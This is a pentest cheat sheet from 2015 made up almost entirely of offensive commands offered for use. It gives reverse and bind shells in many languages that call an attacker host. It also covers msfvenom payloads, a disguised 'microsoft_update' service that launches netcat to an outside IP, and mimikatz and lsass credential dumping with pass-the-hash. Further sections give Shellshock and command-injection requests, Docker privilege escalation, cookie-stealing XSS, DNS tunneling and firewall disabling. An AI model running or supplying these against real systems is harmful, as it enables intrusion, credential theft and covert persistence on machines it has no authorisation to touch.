Pentest Tips and Tricks

Pentest Handy Tips and Tricks.

Contents

• Other Parts
• Nmap Full Web Vulnerable Scan
• Dirb Dir Bruteforce:
• Nikto web server scanner
• WordPress Scanner
• HTTP Fingerprinting
• SKIP Fish Scanner
• Nmap Ports Scan
• NC Scanning
• Unicornscan
• Xprobe2 OS fingerprinting
• Samba Enumeration
  • SNMP Enumeration
  • Windows Useful cmds
  • PuTTY Link tunnel
  • Meterpreter portfwd
  • Enable RDP Access
  • Turn Off Windows Firewall
  • Meterpreter VNC\RDP
  • Add New user in Windows
  • Mimikatz use
  • Passing the Hash
  • Hashcat password cracking
• Netcat examples
• Banner grabbing with NC
  • Window reverse shell
  • Find SUID\SGID root files
  • Python shell
  • Python\Ruby\PHP HTTP Server
  • Get PIDs of process
  • Hydra rdp Bruteforce
  • Mount Remote Windows Share
  • Compiling Exploit in Kali
  • Compiling Windows Exploits on Kali
  • NASM Commands
  • SSH Pivoting
  • SSH Pivoting from One Network to Another
  • Pivoting Using metasploit
  • Exploit-DB search using CSV File
  • MSF Payloads
  • MSF Linux Reverse Meterpreter Binary
  • MSF Reverse Shell (C Shellcode)
  • MSF Reverse Shell Python Script
  • MSF Reverse ASP Shell
  • MSF Reverse Bash Shell
  • MSF Reverse PHP Shell
  • MSF Reverse Win Bin
  • Linux Security Commands
  • Win Buffer Overflow Exploit Commands
  • SEH - Structured Exception Handling
  • ROP (DEP)
  • ASLR - Address space layout randomization
  • EGG Hunter techniques
  • GDB Debugger Commands
  • BASH Reverse Shell
  • PERL Reverse Shell
  • RUBY Reverse Shell
  • PYTHON Reverse Shell
  • PHP Reverse Shell
  • JAVA Reverse Shell
  • NETCAT Reverse Shell
  • TELNET Reverse Shell
  • XTERM Reverse Shell
  • XSS Cheat Codes
  • SSH Over SCTP (With Socat)
  • Install Metasploit Community Edition in Kali 2.0

Other Parts

• Part 1
• Part 2

Nmap Full Web Vulnerable Scan

cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

Dirb Dir Bruteforce:

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

Nikto web server scanner

nikto -C all -h http://IP

WordPress Scanner

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

HTTP Fingerprinting

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt

SKIP Fish Scanner

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

Nmap Ports Scan

1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
2)fargement
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)

NC Scanning

nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

Unicornscan

us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose

Xprobe2 OS fingerprinting

xprobe2 -v -p tcp:80:open IP

Samba Enumeration

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

SNMP Enumeration

snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

Windows Useful cmds

net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits

PuTTY Link tunnel

Forward remote port to local address
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP

Meterpreter portfwd

# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389

Enable RDP Access

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

Turn Off Windows Firewall

netsh firewall set opmode disable

Meterpreter VNC\RDP

a
# https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
run getgui -u admin -p 1234
run vnc -p 5043

Add New user in Windows

net user test 1234 /add
net localgroup administrators test /add

Mimikatz use

git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full

Passing the Hash

git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd

or

apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

or

meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell

Hashcat password cracking

hashcat -m 400 -a 0 hash /root/rockyou.txt

Netcat examples

c:> nc -l -p 31337
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt

Banner grabbing with NC

nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>

Window reverse shell

c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

Find SUID\SGID root files

# Find SUID root files
find / -user root -perm -4000 -print

# Find SGID root files:
find / -group root -perm -2000 -print

# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print

# Find files that are not owned by any user:
find / -nouser -print

# Find files that are not owned by any group:
find / -nogroup -print

# Find symlinks and what they point to:
find / -type l -ls

Python shell

python -c 'import pty;pty.spawn("/bin/bash")'

Python\Ruby\PHP HTTP Server

python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

Get PIDs of process

fuser -nv tcp 80
fuser -k -n tcp 80

Hydra rdp Bruteforce

hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

Mount Remote Windows Share

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

Compiling Exploit in Kali

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Compiling Windows Exploits on Kali

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

NASM Commands

nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

SSH Pivoting

ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target

SSH Pivoting from One Network to Another

ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target

Pivoting Using metasploit

route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

or

# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address  : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0          255.255.255.0      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.2

Exploit-DB search using CSV File

git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"

cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3

MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

MSF Linux Reverse Meterpreter Binary

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

MSF Reverse Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

MSF Reverse Shell Python Script

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

MSF Reverse ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

MSF Reverse Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

MSF Reverse PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

MSF Reverse Win Bin

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

Linux Security Commands

# find programs with a set uid bit
find / -uid 0 -perm -4000

# find things that are world writable
find / -perm -o=w

# find names with dots and spaces, there shouldn’t be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print

# find files that are not owned by anyone
find / -nouser

# look for files that are unlinked
lsof +L1

# get information about procceses with open ports
lsof -i

# look for weird things in arp
arp -a

# look at all accounts including AD
getent passwd

# look at all groups and membership including AD
getent group

# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

# generate random passwords
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4

# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

# fix immutable files
chattr -i file

Win Buffer Overflow Exploit Commands

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

COMMONLY USED BAD CHARACTERS:
\x00\x0a\x0d\x20                              For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)

# Useful Commands:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona\%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "\x00\x0a"
!mona pc 5000
!mona po EIP
!mona suggest

SEH - Structured Exception Handling

# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

ROP (DEP)

# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

ASLR - Address space layout randomization

# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr

EGG Hunter techniques

# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'

GDB Debugger Commands

# Setting Breakpoint
break *_start

# Execute Next Instruction
next
step
n
s

# Continue Execution
continue
c

# Data
checking 'REGISTERS' and 'MEMORY'

# Display Register Values: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)

# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

BASH Reverse Shell

bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

PERL Reverse Shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

RUBY Reverse Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# for win platform
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PYTHON Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Reverse Shell

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

JAVA Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

NETCAT Reverse Shell

nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443

# If the -e option is disabled, try this
# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

# If you have the wrong version of netcat installed, try
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

TELNET Reverse Shell

# If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

XTERM Reverse Shell

# Start an open X Server on your system (:1 – which listens on TCP port 6001)
apt-get install xnest
Xnest :1

# Then remember to authorise on your system the target IP to connect to you
xterm -display 127.0.0.1:1

# Run this INSIDE the spawned xterm on the open X Server
xhost +targetip

# Then on the target connect back to the your X Server
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
or
$ DISPLAY=attackerip:0 xterm

XSS Cheat Codes

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")

<script>document.location=http://IP:PORT</script>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

";!–"<XSS>=&amp;amp;{()}

<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>

<IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041>
<IMG SRC="jav ascript:alert('XSS');">

perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out

<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(">< iframes http://google.com < iframes >)

<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
<img src=asdf onerror=alert(document.cookie)>

SSH Over SCTP (With Socat)

# on remote server
# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22

# localhost
# replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

# create socks proxy
# replace username and -p port value as needed...
$ ssh -lusername localhost -D 8080 -p 1337

Install Metasploit Community Edition in Kali 2.0

# github urls
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run

# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...

# activate your metasploit license
https://localhost:3790

# update metasploite
$ /opt/metasploit/app/msfupdate

# use msfconsole
$ /opt/metasploit/app/msfconsole

Pentest Tips and Tricks was published on July 01, 2015 and last modified on July 01, 2015.

Tor Nat Traversal

# install to server
$ apt-get install tor torsocks

# bind ssh to tor service port 80
# /etc/tor/torrc
SocksPolicy accept 127.0.0.1
SocksPolicy accept 192.168.0.0/16
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 80 127.0.0.1:22
PublishServerDescriptor 0
$ /etc/init.d/tor start
$ cat /var/lib/tor/ssh_hidden_service/hostname
3l5zstvt1zk5jhl662.onion

# ssh connect from client
$ apt-get install torsocks
$ torsocks ssh [email protected] -p 80

DNS brute forcing with fierce

# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt

Metagoofil metadata gathering tool

# http://www.edge-security.com/metagoofil.php
#automate search engine document retrieval and analysis. It also has the capability to provide MAC
# addresses, username listings, and more
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html

A best NMAP scan strategy

# A best nmap scan strategy for networks of all sizes

# Host Discovery - Generate Live Hosts List
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

# Port Discovery - Most Common Ports
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

# Port Discovery - Full Port Scans (UDP is very slow)
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

# Print TCP\UDP Ports
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

# Detect Service Version
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

# Operating System Scan
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

# OS and Service Detect
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt

Nmap – Techniques for Avoiding Firewalls

# fragmentation
$ nmap -f

# change default MTU size number must be a multiple of 8 (8,16,24,32 etc)
$ nmap --mtu 24

# Generates a random number of decoys
$ nmap -D RND:10 [target]

# Manually specify the IP addresses of the decoys
$ nmap -D decoy1,decoy2,decoy3 etc.

# Idle Zombie Scan, first t need to find zombie ip
$ nmap -sI [Zombie IP] [Target IP]

# Source port number specification
$ nmap --source-port 80 IP

# Append Random Data to scan packages
$ nmap --data-length 25 IP

# MAC Address Spoofing, generate different mac for host pc
$ nmap --spoof-mac Dell/Apple/3Com IP

Exploit servers to Shellshock

# A tool to find and exploit servers vulnerable to Shellshock
# https://github.com/nccgroup/shocker
$ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

# cat file
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# bind shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# reverse Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

Root with Docker

# get root with docker
# user must be in docker group
ek@victum:~/docker-test$ id
uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)

ek@victum:~$ mkdir docker-test
ek@victum:~$ cd docker-test

ek@victum:~$ cat > Dockerfile
FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR
<< EOF

ek@victum:~$ docker build -t my-docker-image .
ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh
whoami
# root

ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'

Tunneling Over DNS to Bypass Firewall

# Tunneling Data and Commands Over DNS to Bypass Firewalls
# dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.

# server (attacker)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059

# client (victum)
# https://downloads.skullsecurity.org/dnscat2/
# https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip>

Compile Assemble code

$ nasm -f elf32 simple32.asm -o simple32.o
$ ld -m elf_i386 simple32.o simple32

$ nasm -f elf64 simple.asm -o simple.o
$ ld simple.o -o simple

Pivoting to Internal Network Via Non Interactive Shell

# generate ssh key with shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

# add tempuser at attacker ps
$ useradd -m tempuser
$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh

# create reverse ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"

Patator is a multi-purpose brute-forcer

# git clone https://github.com/lanjelot/patator.git /usr/share/patator

# SMTP bruteforce
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

Metasploit Web terminal via Gotty

$ service postgresql start
$ msfdb init
$ apt-get install golang
$ mkdir /root/gocode
$ export GOPATH=/root/gocode
$ go get github.com/yudai/gotty
$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole
# open in browser http://127.0.0.1:8080

Get full shell with POST RCE

attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'

